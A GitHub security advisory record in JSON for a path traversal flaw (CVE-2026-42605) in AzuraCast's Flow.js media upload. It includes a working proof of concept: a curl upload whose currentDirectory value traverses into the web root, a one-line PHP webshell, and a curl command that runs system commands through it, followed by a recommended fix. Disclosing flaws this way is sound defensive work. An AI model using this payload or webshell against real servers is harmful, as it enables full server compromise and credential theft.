{"id":"GHSA-vp2f-cqqp-478j","summary":"AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload","details":"## Summary\n\nThe `currentDirectory` request parameter in the Flow.js media upload endpoint (`POST /api/station/{station_id}/files/upload`) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.\n\n## Details\n\nIn `backend/src/Controller/Api/Stations/Files/FlowUploadAction.php`, the `currentDirectory` parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:\n\n```php\n// FlowUploadAction.php:79-84\n$currentDir = Types::string($request-\u003egetParam('currentDirectory'));\n\n$destPath = $flowResponse-\u003egetClientFullPath();\nif (!empty($currentDir)) {\n    $destPath = $currentDir . '/' . $destPath;\n}\n```\n\nWhile `$flowResponse-\u003egetClientFullPath()` is sanitized via `UploadedFile::filterClientPath()` (which strips `..` segments), the `$currentDir` value is prepended **after** this sanitization, reintroducing traversal capability.\n\nThis `$destPath` is passed to `MediaProcessor::processAndUpload()` at line 95-98. The critical issue is in the `finally` block at `backend/src/Media/MediaProcessor.php:114-117`:\n\n```php\n// MediaProcessor.php:75-117\ntry {\n    if (MimeType::isFileProcessable($localPath)) {\n        // ... process media ...\n        return $record;\n    }\n    // ...\n    throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');\n} catch (CannotProcessMediaException $e) {\n    $this-\u003eunprocessableMediaRepo-\u003esetForPath($storageLocation, $path, $e-\u003egetMessage());\n    throw $e;\n} finally {\n    $fs-\u003euploadAndDeleteOriginal($localPath, $path);  // ALWAYS executes\n}\n```\n\nThe `finally` block writes the file to the traversed path **regardless** of whether the file passes MIME type validation. A `.php` file triggers `CannotProcessMediaException`, but the `finally` block still copies it to the destination before the exception propagates.\n\nFor local storage (the default), `LocalFilesystem::upload()` at `backend/src/Flysystem/LocalFilesystem.php:45-57` resolves the path via `getLocalPath()`:\n\n```php\n// LocalFilesystem.php:45-57\npublic function upload(string $localPath, string $to): void\n{\n    $destPath = $this-\u003egetLocalPath($to);  // PathPrefixer::prefixPath() — simple concatenation\n    $this-\u003eensureDirectoryExists(dirname($destPath), ...);\n    copy($localPath, $destPath);  // OS resolves ../\n}\n```\n\n`getLocalPath()` delegates to `PathPrefixer::prefixPath()` (League Flysystem), which performs simple string concatenation without normalization. This **bypasses** the `WhitespacePathNormalizer` that would catch traversal if the path went through the standard `Filesystem::write()`/`writeStream()` methods. The OS-level `copy()` then resolves `../` sequences, writing outside the media root.\n\nNote: `RemoteFilesystem::upload()` uses `$this-\u003ewriteStream()` which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.\n\nThe route at `backend/config/routes/api_station.php:399-405` requires `StationPermissions::Media` — a permission granted to DJs and station managers, not only admins.\n\n## PoC\n\nAssuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:\n\n**Step 1: Upload a PHP webshell via path traversal**\n\n```bash\ncurl -X POST \"http://localhost/api/station/1/files/upload\" \\\n  -H \"Authorization: Bearer \u003cAPI_KEY_WITH_MEDIA_PERMISSION\u003e\" \\\n  -F \"flowTotalChunks=1\" \\\n  -F \"flowChunkNumber=1\" \\\n  -F \"flowCurrentChunkSize=44\" \\\n  -F \"flowTotalSize=44\" \\\n  -F \"flowIdentifier=abc123\" \\\n  -F \"flowFilename=shell.php\" \\\n  -F \"currentDirectory=../../../../../var/azuracast/www/public\" \\\n  -F \"file_data=@shell.php\"\n```\n\nWhere `shell.php` contains:\n```php\n\u003c?php system($_GET['cmd']); ?\u003e\n```\n\nExpected response: An error JSON (because `.php` is not a processable media type), but the file has already been written by the `finally` block.\n\n**Step 2: Execute commands via the webshell**\n\n```bash\ncurl \"http://localhost/shell.php?cmd=id\"\n```\n\nExpected output:\n```\nuid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)\n```\n\n## Impact\n\n- **Remote Code Execution**: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user.\n- **Full Server Compromise**: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration.\n- **Privilege Escalation**: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access.\n- **Data Exfiltration**: All station data, user credentials, and application secrets become accessible.\n\n## Recommended Fix\n\nSanitize `currentDirectory` in `FlowUploadAction.php` using the same `filterClientPath()` method used for filenames:\n\n```php\n// FlowUploadAction.php — replace line 79:\n$currentDir = Types::string($request-\u003egetParam('currentDirectory'));\n\n// With:\n$currentDir = UploadedFile::filterClientPath(\n    Types::string($request-\u003egetParam('currentDirectory'))\n);\n```\n\nAdditionally, harden `LocalFilesystem::upload()` to normalize paths before use:\n\n```php\n// LocalFilesystem.php — add path normalization in upload():\npublic function upload(string $localPath, string $to): void\n{\n    $normalizer = new WhitespacePathNormalizer();\n    $to = $normalizer-\u003enormalizePath($to);  // Throws PathTraversalDetected on ../\n\n    $destPath = $this-\u003egetLocalPath($to);\n    $this-\u003eensureDirectoryExists(\n        dirname($destPath),\n        $this-\u003evisibilityConverter-\u003edefaultForDirectories()\n    );\n\n    if (!@copy($localPath, $destPath)) {\n        throw UnableToCopyFile::fromLocationTo($localPath, $destPath);\n    }\n}\n```\n\nAlso sanitize `flowIdentifier` in `Flow.php:67` to prevent secondary traversal in chunk directory creation.","aliases":["CVE-2026-42605"],"modified":"2026-05-13T13:53:07.271908Z","published":"2026-05-04T21:16:51Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-04T21:16:51Z","nvd_published_at":"2026-05-09T20:16:30Z","cwe_ids":["CWE-22"]},"references":[{"type":"WEB","url":"https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42605"},{"type":"WEB","url":"https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d"},{"type":"PACKAGE","url":"https://github.com/AzuraCast/AzuraCast"},{"type":"WEB","url":"https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6"}],"affected":[{"package":{"name":"azuracast/azuracast","ecosystem":"Packagist","purl":"pkg:composer/azuracast/azuracast"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.23.6"}]}],"versions":["0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.11","0.11.1","0.11.2","0.12","0.12.1","0.12.2","0.12.3","0.12.4","0.13.0","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.16.0","0.16.1","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.17.5","0.17.6","0.17.7","0.18.0","0.18.1","0.18.2","0.18.3","0.18.5","0.19.0","0.19.1","0.19.2","0.19.3","0.19.4","0.19.5","0.19.6","0.19.7","0.20.0","0.20.1","0.20.2","0.20.3","0.20.4","0.21.0","0.22.0","0.22.1","0.23.0","0.23.1","0.23.2","0.23.3","0.23.4","0.23.5","0.3.1","0.3.2","0.3.3","0.5.0","0.6.0","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.4.1","0.9.4.2","0.9.5","0.9.5.1","0.9.6","0.9.6.1","0.9.6.2","0.9.6.5","0.9.7","0.9.7.1","0.9.8","0.9.8.1","0.9.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 0.23.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-vp2f-cqqp-478j/GHSA-vp2f-cqqp-478j.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}